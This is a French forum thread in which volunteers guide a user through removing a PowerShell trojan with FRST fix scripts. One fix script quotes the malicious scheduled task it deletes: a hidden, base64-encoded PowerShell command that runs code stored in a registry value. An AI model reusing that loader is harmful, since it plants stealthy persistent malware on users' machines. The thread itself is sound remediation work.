Virus Powershell - TrojanDownloader:HTML/Elshutilo.A [Résolu]

[Baboun54]

Bonjour,
Je viens vers vous en quête d'aide car je ne m'en sort pas dutout avec ce virus "powershell"
j'ai suivi le tuto pour créé des liens de transfert par pjjoint .

Je vous remerci du temps que vous me consacrez par avances .
Voici les liens de téléchargements

FRST :
https://pjjoint.malekal.com/files.php?i ... 5c11k12i12

Addition :
https://pjjoint.malekal.com/files.php?i ... 6m6f5f15s8

Shortcut :
https://pjjoint.malekal.com/files.php?i ... u9d12h6s12

PS: Merci encore

[Parisien_entraide]

Bonsoir

Malekal ou Angélique te diront ce qu'il en est mais le

Code : Tout sélectionner

TrojanDownloader:HTML/Elshutilo.A

apparait souvent avec les extensions AVIRA dans Chrome et il n'y a que Defender qui le voit depuis presque un an

[Malekal_morte]

Bonsoir,

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Task: {F38D4367-92E7-476D-A7A3-D439EA0CD2B3} - System32\Tasks\Avira\System Speedup\Delayed Startup\All users\1 => C:\ProgramData\SquirrelMachineInstalls\Discord.exe [115803000 2025-03-18] (Discord Inc. -> Discord Inc.) <==== ATTENTION
Task: {BCDC266E-7853-4845-98E9-B9BFFF2A811D} - System32\Tasks\ChromiumUpdateTaskMachineCore => C:\Program Files (x86)\Chromium\Update\ChromiumUpdate.exe  /c (Pas de fichier) <==== ATTENTION
Task: {178084CC-B969-4005-A3F6-6945545AAB8A} - System32\Tasks\ChromiumUpdateTaskMachineUA => C:\Program Files (x86)\Chromium\Update\ChromiumUpdate.exe  /ua /installsource scheduler (Pas de fichier) <==== ATTENTION
Task: {1A10707C-9DAF-4637-801A-DCA5B71D4BA7} - System32\Tasks\Microsoft\Windows\UPnP\UPnPClient Task => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [455680 2024-03-10] (Microsoft Windows -> Microsoft Corporation) -> -w 1 -e aQBlAHgAIAAkACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACAASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlACAALQBOAGEAbQBlACAAawB1AG0AaQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4AawB1AG0AaQA=
Task: {78A906A6-F267-4342-BB9D-83085D59B5F3} - System32\Tasks\Optimize Start Menu Cache Files-S-3-5-21-2236678155-433519125-1142214968-1037 => C:\Windows\System32\cmd.exe [289792 2024-04-26] (Microsoft Windows -> Microsoft Corporation) -> /c C:\Users\hp\AppData\Roaming\Microsoft\Network\PrivFalse.bat <==== ATTENTION
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:
End:

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)

Important :

Le contenu de la correction ne doit pas être vide et doit refléter le script donné précédemment.
Dans le cas où la correction est vide, essaye de faire la correction FRST comme ceci :

Place le programme FRST sur le bureau
Ouvre le bloc-note.
Colle le script donné plus haut.
Enregistre le fichier sur le sur le bureau de Windows (pas ailleurs) sous le nom de fixlist.txt.
Relance FRST puis Corriger.



2) réinitialiser les navigateurs:
==================================
Réinitialise tes navigateurs et/ou re-paramètre manuellement tes navigateurs WEB ( page de démarrage, moteur de recherche, etc ) mais aussi supprimer/désactiver les extensions inutiles/parasites.
Pour t'aider à effectuer ce ménage, clique ci-dessous sur le nom du navigateur WEB que tu utilises :

• Réparer Mozilla Firefox (premier paragraphe)
• Réparer Google Chrome (premier paragraphe)
• Comment réparer ou réinitialiser Microsoft Edge

3)
Désinstalle :

Antivir
Norton Security Scan

4)
Refais un scan FRST et donne les nouveaux rapports via pjjoint

[Baboun54]

Bonsoir,
merci encore pour le temps consacré a ma demande .

" Parisien_entraide" , c'est justement Avira qui m'a alerté que quelque chose se passait mal avec powershell et qui m'a fait tilté sur ce problème.

En tout cas je transmet les nouveaux liens après les manip demandés .

FRST :
̩https://pjjoint.malekal.com/files.php?i ... 8l9w12n6e7

Addition :
https://pjjoint.malekal.com/files.php?i ... f5i12c10s7

Shortcut :
https://pjjoint.malekal.com/files.php?i ... 59g7i14w15

bonne soirée

[Parisien_entraide]

Même si on peut voir à travers les rapports FRST ce qui a été appliqué, à la base, c'est le rapport du FIX qui a été demandé de placer ici pour voir d'un seul coup d'oeil si tout est bien passé

Tu as fais le reste ? (réinitialisé les navigateurs etc)

[Baboun54]

Oui j'ai fait tout les reset demandé .

[Malekal_morte]

C'est mieux non ?

Tu peux désinstaller :

Avira (pour laisser Windows Defender, plus léger)
IOBit

Pour supprimer des restes inutiles (pas malveillants).

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Task: {B9D2A014-C99C-43E4-A005-1C03B2862C89} - System32\Tasks\Opera scheduled Autoupdate 1594898454 => C:\Users\hp\AppData\Local\Programs\Opera\launcher.exe  --scheduledautoupdate $(Arg0) (Pas de fichier)
R2 WildTangentHelper; C:\Program Files (x86)\WildTangent Games\Integration\WildTangentHelperService.exe [1685312 2023-02-09] (WildTangent, Inc. -> )
C:\Program Files (x86)\WildTangent Games
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:
End:

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)

Important :

Le contenu de la correction ne doit pas être vide et doit refléter le script donné précédemment.
Dans le cas où la correction est vide, essaye de faire la correction FRST comme ceci :

Place le programme FRST sur le bureau
Ouvre le bloc-note.
Colle le script donné plus haut.
Enregistre le fichier sur le sur le bureau de Windows (pas ailleurs) sous le nom de fixlist.txt.
Relance FRST puis Corriger.

~~

Supprime C:\FRST et ses restes.

A lire : que faire après une attaque de virus informatique.
Change tes mots de passe et assure toi que Windows Defender fonctionne correctement (protections activées et qu'il n'y a pas d'exceptions ajoutées).

Pour éviter les virus, il faut savoir comment les pirates s'y prennent pour infecter les ordinateurs : Comment les virus informatiques sont distribués
Enfin pour protéger ton PC : Comment protéger son PC des virus et des pirates ?

[Baboun54]

Bonjour, oui c'est effectivement mieux.
merci encore pour l'aide apporté. Je vais desinstaller Avira de ce pas et éffectuer les dernières corrections.
Bonne journée